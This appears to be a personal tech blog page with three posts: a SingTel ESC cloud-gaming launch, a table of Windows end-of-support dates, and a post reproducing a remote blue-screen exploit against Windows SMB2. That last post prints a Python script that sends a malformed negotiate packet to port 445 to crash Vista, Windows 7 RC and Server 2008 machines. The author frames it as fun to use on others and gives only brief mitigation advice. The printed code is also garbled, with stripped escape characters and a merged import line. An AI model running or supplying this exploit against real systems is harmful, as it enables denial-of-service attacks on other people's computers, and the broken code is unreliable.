SingTel ESC – On Demand Cloud Gaming

 Technology  No Responses »
Apr 212011
 

Launched in partnership with Playcast Media Systems, SingTel ESC (read as ‘ESCape’) is the first service in Asia to deliver on-demand high quality games directly from the ‘cloud’ to customers on TV and PC. This enables a rich and immersive gaming experience through a simple one-time client download – eliminating the need for consoles and time-consuming installations.

With instant and unlimited access to 24 titles at launch from a range of genres, SingTel ESC gamers can enjoy popular game titles from Atari, Capcom,Codemasters, Disney, Tell Tale Games and THQ like Street Fighter 4, Back to the Future and Toy Story3 will be available to customers who sign up for the service. Each month, two to three titles will be refreshed to ensure the line-up is current and engaging.

SingTel ESC is available to anyone with fibre or broadband connectivity of 10Mbps and above. Unlimited SingTel ESC gameplay starts from $1.99 for a One Day Pack, and $9.99 for a month(all prices inclusive of GST). As a launch special, SingTel will be offering an unlimited free trial until 30 April 2011.

Customers on fibre can access SingTel ESC on their television sets via SingTel’s exCiteTV service and both fibre and broadband customers can enjoy the PC service by downloading a simple client.

Only Windows XP, Windows Vista, Windows 7 (Mac OS not supported).

24 launch titles are as follows:

  1. International Basket 2009
  2. Test Drive Unlimited
  3. MotoGP 08
  4. DiRT 2
  5. Pure
  6. G-Force
  7. Bolt
  8. Operation Flashpoint – Dragon Rising
  9. Frontlines – Fuel of War
  10. Street Fighter IV
  11. Ballance
  12. Flock
  1. Cube Monsters
  2. Mahjong Artifact 2
  3. Roboball
  4. Chameleon Gems
  5. Enchanted Cavern
  6. Inca ball
  7. Electra
  8. Dark Void
  9. Toy Story 3: The Video Game
  10. Dark Void Zero
  11. Back to the Future Ep 1: “It’s About Time”
  12. Sam & Max: The Devil’s Playhouse Episode 1: The Penal Zone

Find out more at esc.com.sg.

Windows 2000, XP SP2 and Vista End of Life Support

 Lifestyle  3 Responses »
Mar 182010
 

You heard me. Here are the dates:

Operating System End of Life Date
Windows 2000 Professional July 13, 2010
Windows 2000 Server July 13, 2010
Windows XP SP2 July 13, 2010
Windows XP SP3 Still Supported
Windows Vista April 13, 2010
Windows Vista SP1 & SP2 Still Supported

There you have it. For those still on older versions of your service packs, it is time for you to update your operating systems.

For more information: http://blogs.technet.com/lifecycle/archive/2010/02/24/end-of-support-for-windows-xp-sp2-and-windows-vista-with-no-service-packs-installed.aspx

Resources:
Service Pack 3 for Windows XP: http://www.microsoft.com/downloads/details.aspx?FamilyID=68C48DAD-BC34-40BE-8D85-6BB4F56F5110&displaylang=en

Service Pack 2 for Windows Vista: http://www.microsoft.com/windows/windows-vista/default.aspx

Good times again with Remote BSOD

 Security  2 Responses »
Sep 092009
 

Remember the good old days when you’re able to teardrop someone who was on Windows 3.1, Windows 95 or Windows NT and send a BSOD to their computer? Well, I do. Now, for the limited time offer only, we are able to relive this experience once again until Microsoft releases a security patch. This affects all Windows Vista, Windows 7, and possibly Windows Server 2008 and Windows Server 2008 R2. Let’s hope they do release a security patch before Windows 7 officially launches.

Here’s the proof of concept. I’m going to keep a copy here just in case.

Smb-Bsod.py:

#!/usr/bin/python
# When SMB2.0 recieve a "&" char in the "Process Id High" SMB header field it dies with a
# PAGE_FAULT_IN_NONPAGED_AREA from socket import socket
from time import sleep

host = "IP_ADDR", 445
buff = (
"x00x00x00x90" # Begin SMB header: Session message
"xffx53x4dx42" # Server Component: SMB
"x72x00x00x00" # Negociate Protocol
"x00x18x53xc8" # Operation 0x18 & sub 0xc853
"x00x26"# Process ID High: --> :) normal value should be "x00x00"
"x00x00x00x00x00x00x00x00x00x00xffxffxffxfe"
"x00x00x00x00x00x6dx00x02x50x43x20x4ex45x54"
"x57x4fx52x4bx20x50x52x4fx47x52x41x4dx20x31"
"x2ex30x00x02x4cx41x4ex4dx41x4ex31x2ex30x00"
"x02x57x69x6ex64x6fx77x73x20x66x6fx72x20x57"
"x6fx72x6bx67x72x6fx75x70x73x20x33x2ex31x61"
"x00x02x4cx4dx31x2ex32x58x30x30x32x00x02x4c"
"x41x4ex4dx41x4ex32x2ex31x00x02x4ex54x20x4c"
"x4dx20x30x2ex31x32x00x02x53x4dx42x20x32x2e"
"x30x30x32x00"

)
s = socket()

s.connect(host)
s.send(buff)
s.close()

To stop your computer from BSOD for now, try disabling SMB 2.0. We might even see some script kiddie come up with a simple teardrop application to BSOD your computer.

Ah! The good old days again.

== Update ==

Windows 7 RTM and Windows Server 2008 R2 are already patched and fixed. This exploit only works on Windows Vista and Windows Server 2008, and Windows 7 RC.

Original Post: Microsoft Security Advisory 975497 Released

== End Update ==

Original Post: Windows Vista/7 : SMB2.0 NEGOTIATE PROTOCOL REQUEST Remote B.S.O.D.